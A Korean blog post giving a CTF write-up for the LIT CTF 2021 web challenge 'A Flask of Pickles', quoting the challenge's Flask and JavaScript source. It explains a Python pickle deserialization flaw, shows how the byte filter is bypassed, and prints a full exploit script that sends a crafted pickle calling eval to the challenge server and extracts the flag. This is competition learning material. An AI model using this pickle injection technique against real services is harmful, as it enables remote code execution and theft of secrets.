ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Clear] LIT CTF 2021 web/A Flask of Pickles Writeup
    CTF/LIT CTF 2021 2021. 7. 21. 07:26

     

    주어진 페이지에 접속해보면 다음과 같이 안내된다.

    Create Profile 을 실행해보면 임의의 id가 발급되면서 아래와 같은 페이지가 나타난다. 입력 값을 서버에서 처리하는 과정에서 

    Python Pickle Deserialization Vulnerability 가 발생하는 듯 하다.

    주어진 소스를 보면 단순한 Pickle 문제는 아님을 알 수 있다. 데이터를 전송 할 때, 사용자 입력 값에 대하여 아래와 같이 일련의 바이트 데이터와 함께 처리 하는 과정이 포함되어 있으며

    <!DOCTYPE HTML>
    <html>
        <head>
            <title>Profile Page Maker</title>
            <style>
            </style>
            <script>
                function submit(){
                    let p1 = "\x80\x04\x95"
                    let p15 = "\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
                    let p2 = "\x94\x8c\x03bio\x94\x8c"
                    let p3 = "\x94u."
                    let name = document.getElementById("name").value;
                    let bio = document.getElementById("bio").value;
                    let s = p1 + String.fromCharCode(p1.length + 1 + p15.length + 1 + name.length + p2.length + 1 + bio.length + p3.length - 11) + p15 + String.fromCharCode(name.length) + name + p2 + String.fromCharCode(bio.length) + bio + p3;
                    let enc = window.btoa(s);
                    console.log(enc);
                    var xhr = new XMLHttpRequest();
                    xhr.open("POST", "new", true);
                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                    xhr.onload = function (){
                        window.location.href=this.responseText;
                    };
                    xhr.send(enc);
                }
            </script>
        </head>
        <body>
            <h1>Profile Page Maker</h1>
            <label for="name">Name:</label></br>
            <input type="text" id="name" name="name"></br></br>
            <label for="bio">Bio:</label></br>
            <textarea id="bio" name="bio" rows="3" cols="20"></textarea></br></br>
            <button onclick="submit();">Create Profile!</button>
        </body>
    </html>

     

    데이터를 받아서 처리 하는 로직 또한 바이트 데이터로 일종의 필터링이 되어 있다.

    import secrets
    from flask import Flask, render_template, request
    import pickle
    import base64
    
    flag = "REDACTED"
    
    app = Flask(__name__)
    
    users = {
        "example-user": {
            "name": "example",
            "bio": "this is example"
        }
    }
    
    @app.route("/")
    def index():
        return render_template("index.html")
    
    @app.route("/new", methods=["POST"])
    def new():
        pickle_str = base64.b64decode(request.get_data())
        
        if len(pickle_str) > 138:
            return "uhoh"
    
        dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
        dict_suffix = b"\x94u." ##### ................................................. (1)
        
        # make sure dictionary is valid and no funny business is going on
        if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str:
            return "uhoh" ##### ....................................................... (2)
    
        url = secrets.token_urlsafe(16)
        obj = pickle.loads(pickle_str)
        users[url] = obj
    
        return "user?id=" + url
    
    @app.route("/uhoh")
    def uhoh():
        return render_template("uhoh.html")
    
    @app.route("/user", methods=["GET"])
    def user():
        uid = request.args.get("id")
        if len(uid) < 10:
            return "id too short"
        if uid not in users:
            return "user not found :("
        return render_template("user.html", user=users[uid])

    데이터가 유효하려면 (1)의  prefix와 suffix를 만족 해야 한다.

     

    Pickling은 파이썬 객체가 바이트 스트림으로 전환되는 과정이고, 전환된 바이트 스트림은 OPCODE를 통해 처리된다.

    문제 예시에서의 데이터 처리 과정 또한 마찬가지 이다.

    즉, 문제의 요점 다음과 같다.

    1. 일반적인 경우와 다르게 pickle.dumps() 과정을 생략하고 직접 바이트 스트림으로 데이터를 전송한다.

    2. 서버에서는 받은 바이트 스트림 데이터를 처리하는데, (1),(2) 와 같은 필터링 조건을 만족해야 한다.

    3. 우리는 필터링을 만족시키면서 Pickle Deserialization Vulnerability 를 통해 플래그를 획득해야 한다.

     

    우선 prefix 에서 ~~~~\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c 까지는 만족시켜야 하므로 name 파라미터에서 rce 코드를 실행시키는 것 보다 bio 파라미터에 시도하는게 낫겠다는 생각을 했다. 

     

    삽입할 바이트 스트림을 구하기 위해 아래와 같이 테스트를 해보았다.

    class vuln(): 
      def __reduce__(self):
      	return (eval, ("globals()", )) 
    
    input_p = {"name" : "1111", "bio" : vuln() }
    print(pickle.dumps(input_p))
    
    pickletools.dis(pickle.dumps(input_p))

    따라서, "bio" : vuln() 에 해당하는 바이트 스트림은 

    X\x03\x00\x00\x00bioq\x03cbuiltins\neval\nq\x04X\t\x00\x00\x00globals()q\x05\x85q\x06Rq\x07u.

    임을 알 수 있었다. 

    또한, suffix 조건 또한 만족해야 하므로, ~~\x06Rq 까지만 사용을 하고 바이트 스트림의 마지막은 \x94u. 로 수정해야 한다.

     

    주의할 점은 RCE를 시도 할 때 처음에는 vuln() 클래스의 return에 os.system 을 활용 했었다.

    (os에 대한 필터링은 있지만 바이트스트림으로 전환 시 os라는 문자열은 없어진다.)

    에러는 나지 않고 id도 정상적으로 발급되었지만, os.system의 return type은 INT 이기 때문에 원하는 값이 아닌 0, 256 등의 숫자 데이터만 반환받을 수 있었다.

    따라서, 해결 방법을 찾다가 eval과 globals()를 활용 하게 된 것이다. 

     

    위 내용을 모두 고려하여, 최종적으로 아래와 같은 exploit code를 작성하였고, 플래그를 획득 할 수 있었다.

    (테스트 과정이 포함된 코드이다.)

    import pickle
    import base64
    import os
    import requests
    import urllib3
    import pickletools
    import json
    import subprocess
    import re
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    Object_1 = {'name': 'Object!','dummy':'yes'}
    
    print("Object : ")
    print(Object_1)
    print("")
    pickle_data = pickle.dumps(Object_1)
    print("Pickle dumps data (=pickle.dumps(Object_1)) : ")
    print(pickle_data)
    print("")
    print("Pickle loads data (=pickle.loads(pickle.dumps(Object_1))) : ")
    print(pickle.loads(pickle_data))
    print("")
    print("import pickletools -> pickletools.dis(pickle.dumps(Object_1))")
    pickletools.dis(pickle_data)
    #exit()
    
    
    print("-----------------------------------------------")
    p1 = b"\x80\x04\x95"
    p15 = b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
    p2 = b"\x94\x8c\x03bio\x94\x8c"
    p3 = b"\x94u."
    name = b"nameValue"#vuln()
    bio = b"bioValue"
    ex = p1 + chr(len(p1)+1+len(p15)+1+len(name)+len(p2)+1+len(bio)+len(p3)-11).encode() + p15 + chr(len(name)).encode() + name + p2 + chr(len(bio)).encode() + bio + p3
    
    print(ex)
    obj = pickle.loads(ex)
    print(obj)
    pickletools.dis(ex)
    #exit()
    
    print("---------------------------------------------")
    
    class vuln(): 
      def __reduce__(self):
      	return (eval, ("globals()", )) 
    
    input_p = {"name" : "1111", "bio" : vuln() }
    print(pickle.dumps(input_p))
    
    pickletools.dis(pickle.dumps(input_p))
    #exit()
    
    
    print("-----------------------------------------------")
    for i in range(50, 138) :
    	print(i)
    	ex = p1 + chr(i).encode() + p15 +b"\x041111\x94" + b"X\x03\x00\x00\x00bioq\x03cbuiltins\neval\nq\x04X\t\x00\x00\x00globals()q\x05\x85q\x06Rq" + p3
    	ex_p = base64.b64encode(ex)
    
    
    	url = "https://a-flask-of-pickles.litctf.live/new"
    	response = requests.post(url, data=ex_p, verify=False)
    	res = response.text
    	if "uhoh" not in res :
    		print(res)
    		if "user" in res :
    			url = "https://a-flask-of-pickles.litctf.live/"+res
    			response = requests.get(url, verify=False)
    			print(re.findall("flag\{[ -z|~]+\}", response.text)[0])
    			#print(response.text)
    		break
    print("-----------------------------------------------")

     

    FLAG = flag{my_p1ckl35_p0k3d_a_h0l3_in_my_fl4sk}

    반응형

    'CTF > LIT CTF 2021' 카테고리의 다른 글

    [Clear] LIT CTF 2021 web/LIT BUGS Writeup  (0) 2021.07.20

    댓글

Designed by Tistory.